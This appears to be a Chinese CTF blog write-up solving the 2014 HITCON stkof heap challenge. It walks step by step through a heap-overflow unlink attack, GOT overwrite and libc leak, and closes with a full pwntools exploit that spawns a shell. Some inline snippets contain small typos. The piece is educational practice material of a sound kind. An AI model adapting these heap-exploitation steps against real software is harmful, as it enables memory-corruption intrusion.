unlink(例题)

unlink还是得弄个题目搞一下,2014_hitcon_stkof

题目链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof

实战

查看保护

可以改got表

分析

直接IDA

上来直接看见了alarm,给它patch掉吧。这个程序没有什么回显,先分析v3=1吧

create

v3=1跟进函数,这不是create吗?直接修改名字。下面就是正常的create,直接自动化函数

1
2
3
def create(size):
r.sendline('1')
r.sendline(str(size))

edit

1看完了看v3=2,可以从这里看出是一个edit的功能,在第20行,堆溢出漏洞,因为创建时有大小限制,而在第20行没有输入限制,造成了堆溢出漏洞,上函数

1
2
3
4
5
def edit(index, size, content):
r.sendline('2')
r.sendline(str(index))
r.sendline(str(size))
r.send(content)

delete

看见了free就知道这个估计是delete了。但是指针给清0了,没有UAF,上代码吧

1
2
3
def delete(index):
r.sendline('3')
r.sendline(str(index))

编写exp

先创建三个chunk看看堆是什么样子吧。

chunk1被夹在io中间,所以我们利用下面两个chunk来进行漏洞利用

既然用chunk2和chunk3的话,那我们可以在chunk2里面伪造fake_chunk最后释放chunk3来进行unlink,在这个之前,得要符合上个文章的unlink过程检查。(借用一下hollk大佬的图吧。

想要触发unlink的fake_chunk那它的大小至少应该为:

1
0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30

所以我们给了chunk2 0x30的大小,想要触发unlink那么chunk3的大小应该超过fastbin所以chunk3给成0x80,所以创建三个chunk大小为:

1
2
3
create(0x100)	#1
create(0x30) #2
create(0x80) #3

因为要过unlink的检查, 所以开始构造检查的必须元素,首先chunk3的prev_size得是0x30,size的p位为0,所以payload可以这样写:

1
p1 = fake_chunk + p64(0x30) + p64(0x90)

chunk3可以过检查了,接下来是fake_chunk过检查

prev_size:我们其实只想通过释放chunk3的时候向前合并fake_chunk,并不需要合并chunk2,所以fake_chunk的prev_size置零就行
size:其实fake_chunk仅仅需要fd和bk完成unlink流程就可以了,后面的next_prev和next_size仅仅为了检查时候用,所以size的大小为0x20就行
next_prev:这里其实就是为了绕过检查,证明fake_chunk是一个空闲块,所以next_prev要等于size,即0x20
next_size:没啥用,不检查这里,用字符串占位就好

所以fake_chunk为:

1
2
fake_chunk = p64(0) + p64(0x20) + fd + bk + p64(0x20)
fake_chunk = fake_chunk.ljust(0x30, b'a')'

接下来的难点是构造fd和bk,dbg一下吧,将p1给填进去

可以看到已经符合检查条件了,只有fd和bk了,在IDA里面的heap_ptr的地址找一下,heap_ptr是之前在IDA里面的::s,换了一个名字

因为要构造前一个chunk的bk=chunk2的prev_size地址,后一个chunk的fd=chunk2的prev_size,chunk2的fd=前一个chunk的prev_size,chunk2的bk=后一个的chunk的prev_size

上面的地址可以做为fake_chunk的fd

上面的地址可以做为fake_chunk的bk

所以fake_chunk这样写:

1
2
3
4
fd = p64(0x602140 - 0x8)
fd = p64(0x602140)
fake_chunk = p64(0) + p64(0x20) + fd + bk + p64(0x20)
fake_chunk = fake_chunk.ljust(0x30, b'a')

没有开PIE

释放chunk3触发unlink

1
delete(3)

图中的红色框为本来是ptr[2]的现在拿掉了chunk2,这里需要注意的是third_chunk的fdfirst_chunk的bk更改的其实是一个位置,但是由于third_fd = first_addr后执行,所以此处内容会从0x602140被覆盖成0x602138

原来0x602148 + 0x8是chunk2,而现在可以看到0x602148 + 0x8被写成了0x602138,所以edit(2)的时候就会修改0x602138,所以这样写payload

1
p2 = p64(0) + p64(free_got) + p64(puts_got) + p64(atoi_got)

现在ptr[0]变成了free_got,ptr[1]变成了puts_got,ptr[2]变成了atoi_got

那现在就是leak libc,把ptr[0]改成puts_plt,free的时候就可以puts了

1
2
3
p3 = p64(puts_plt)
edit(0, len(p3), p3)
delete(1)

直接一把

1
2
3
4
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('puts_addr = ' + hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']

因为ptr[2]变成了atoi_got的地址,所以直接edit(2)改成system_addr

1
2
p4 = p64(system_addr)
edit(2, len(p4), p4)

将atoi_got的地址改成了system,接下来我们就可以直接输入bin_sh

1
r.sendline('/bin/sh\x00')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

file_name = './z1r0'
debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.23/libc-2.23.so')

def create(size):
r.sendline('1')
r.sendline(str(size))

def edit(index, size, content):
r.sendline('2')
r.sendline(str(index))
r.sendline(str(size))
r.send(content)

def delete(index):
r.sendline('3')
r.sendline(str(index))



def dbg():
gdb.attach(r)


create(0x100)
create(0x30)
create(0x80)

fd = p64(0x602140 - 0x8)
bk = p64(0x602140)

fake_chunk = p64(0) + p64(0x20) + fd + bk + p64(0x20)
fake_chunk = fake_chunk.ljust(0x30, b'a')
p1 = fake_chunk + p64(0x30) + p64(0x90)

edit(2, len(p1), p1)
delete(3)

free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']


p2 = p64(0) + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2, len(p2), p2)

p3 = p64(puts_plt)
edit(0, len(p3), p3)
delete(1)

puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('puts_addr = ' + hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']

system_addr = libc_base + libc.sym['system']


p4 = p64(system_addr)
edit(2, len(p4), p4)

r.sendline('/bin/sh\x00')

r.interactive()